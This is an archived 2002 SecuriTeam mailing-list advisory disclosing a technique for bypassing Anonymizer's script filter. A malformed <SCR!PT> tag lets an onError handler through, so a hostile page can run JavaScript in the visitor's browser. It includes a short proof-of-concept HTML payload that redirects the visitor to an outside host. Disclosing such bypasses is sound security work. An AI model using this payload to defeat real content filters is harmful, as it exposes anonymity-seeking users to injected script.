

[NEWS] De-Anonymizer (SCRIPT Bypassing)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-04/0107.html>

From: support@securiteam.com

Date: 04/25/02

From: support@securiteam.com

To: list@securiteam.com

Date: Thu, 25 Apr 2002 10:22:23 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

De-Anonymizer (SCRIPT Bypassing)

SUMMARY

A technique allowing the bypassing of Anonymizer's SCRIPT filtering mechanism has been found. The technique would allow a malicious attackers to insert hostile JavaScript into their web pages and cause visiting users (even if they visit through Anonymizer) to execute it.

DETAILS

The new technique utilizes a <SCR!PT> (NOTE: The letter I has been replaced with !) tag without a closing </SCRIPT> tag to fool Anonymizer into allowing an onError event to pass filters. This allows an attacker to execute JavaScript with obvious security breaches.

Example:

```
<HTML>
<BODY>
  <SCR!PT>
    <IMG src="::" width="0" height="0"
onError="window.navigate('http://spoor12.edup.tudelft.nl');">
  </BODY>
</HTML>
```

(NOTE: The letter I has been replaced with !)

Securiteam: [NEWS] De-Anonymizer (SCRIPT Bypassing)

ADDITIONAL INFORMATION

The information has been provided by <mailto:skylined@edup.tudelft.nl>
Berend-Jan Wever.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- **Previous message:** support@securiteam.com: "[NEWS] InterScan Reveals The List of BCC When It Strips Attachments (Via Alert)"
 - **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)